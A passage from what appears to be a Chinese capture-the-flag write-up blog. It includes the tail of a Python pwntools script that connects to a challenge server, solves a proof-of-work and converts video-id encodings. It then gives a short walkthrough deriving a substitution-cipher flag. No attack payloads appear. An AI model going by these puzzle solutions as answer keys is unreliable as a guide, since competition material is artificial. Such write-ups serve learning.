r=list('BV1 4 1 7 ')
for i in range(6):
r[s[i]]=table[x//58**i%58]
return ''.join(r)

num = re.compile(r"\d+")
a = remote("218.197.154.9", 16387)
a.recvline()
tmp = a.recvline()
nums = re.findall(num, tmp)
res = passpow(nums[0], nums[1], nums[2], nums[3])
a.sendline(res)

a.recvuntil("id.\n")
for i in range(0, 5):
a.sendline(enc(int(a.recvline()[:-1])))

a.recvuntil("er.\n")
for i in range(0, 15):
a.sendline(str(dec(a.recvline()[:-1])))

a.interactive()

My best friend BingGe

根据提示,将纸条上的字符全部大写,除去空格,原字符表应当是:

1
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789

经过上述操作后的表并不符合替换密码密码表的特性,还需要将重复的字符去掉,只保留第一次出现的字符。更改后如下:

1
LET_5H4V3FUNP1AYI9WCR0

此时flag已经初具雏形,为了得到完整的flag,在表的最后按字母表+数字表的顺序补上未出现的字符,最终得到表如下:

1
LET_5H4V3FUNP1AYI9WCR0BDGJKMOQSXZ267

区块链

题都看不懂,告辞


← Prev Woboq使用指南 | 2020网鼎杯pwn1杂思 Next →